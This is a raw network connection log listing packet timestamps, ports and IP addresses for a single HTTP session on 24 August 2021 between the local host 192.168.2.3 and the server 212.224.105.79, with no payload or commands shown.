Aug 24, 2021 14:01:31.329133034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329142094 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329154968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329178095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329185963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329194069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329214096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329232931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329241991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329255104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329257965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329294920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329315901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329317093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329336882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329358101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329358101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329379082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329399109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329399109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329420090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329442978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329451084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329464912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329484940 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329492092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329511881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329530954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329550028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329550982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329569101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329590082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329592943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329613924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329622030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329636097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329654932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329674006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329675913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329695940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329710960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329722881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329742908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329744101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329765081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329777002 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329782963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329842091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.376277924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.008524895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.008564949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.030674934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.030714035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.060312033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.072818995 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.072880030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.094785929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.119067907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.129992008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.130027056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.152028084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.174021959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.190176964 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.190390110 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.212196112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.249628067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.258965015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.259104967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.280919075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.305164099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.336775064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.336812973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.362128019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423228025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423356056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423378944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423399925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423446894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423525095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423547983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423569918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423590899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423612118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423619986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423631907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423648119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423656940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423679113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423697948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423712969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423717976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423737049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423738956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423758984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423779964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423800945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423803091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423824072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423842907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423845053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423865080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423865080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423885107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423903942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.423906088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.423942089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446481943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446511984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446533918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446561098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446604967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446605921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446638107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446644068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446669102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446688890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446706057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446731091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446752071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446767092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446788073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446808100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446820021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446856976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446872950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446896076 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446904898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446933031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446940899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446962118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.446980953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.446994066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447015047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447040081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447045088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447066069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447088957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447097063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447138071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447155952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447177887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447199106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447223902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447232008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447252989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447273016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447293997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447304010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447324038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447335005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447354078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447374105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447385073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447405100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447424889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447437048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447454929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447474003 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447485924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447506905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447525978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447537899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447557926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447577953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447607994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447608948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447629929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447650909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.447663069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.447700977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.458528042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.458640099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.470483065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470518112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470539093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470558882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470578909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470591068 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.470601082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470623970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470647097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470666885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.470668077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470690012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.470690012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.470748901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471085072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471178055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471201897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471221924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471241951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471251965 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471265078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471288919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471311092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471323013 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471333981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471354961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471374989 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471393108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471414089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471421957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471441984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471465111 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471465111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471487045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471508026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471512079 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471530914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471554995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471576929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471576929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471596956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471611977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471621037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471641064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471642971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471663952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471682072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471684933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471708059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471731901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471750975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471752882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471772909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471779108 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471795082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471813917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471817017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471837044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471854925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471858978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471879005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471903086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471910000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471925020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471944094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471956015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.471966028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.471992016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472006083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472007990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472031116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472038031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472050905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472073078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472090960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472093105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472112894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472130060 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472135067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472151995 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472157001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472178936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472201109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472206116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472222090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472244024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472249985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472265005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472285032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472292900 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472306013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472316027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472326994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472349882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472372055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472385883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472398996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472417116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472421885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472441912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472456932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472461939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472485065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472505093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472506046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472531080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472548962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472553968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472574949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472590923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472595930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472615957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472637892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472637892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472657919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472680092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472681046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.472703934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.472723007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.481092930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.481127977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.481144905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.481161118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.481184959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.481204033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.481252909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.481326103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493185997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493253946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493288040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493319035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493372917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493383884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493390083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493422031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493453979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493469000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493484020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493484020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493515968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493547916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493551016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493578911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493613005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493626118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493658066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493702888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493736982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493798018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493844032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493876934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493892908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493916988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493940115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493963957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.493972063 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.493988991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.494978905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495007992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495034933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.495062113 CEST	80	49723	212.224.105.79	192.168.2.3
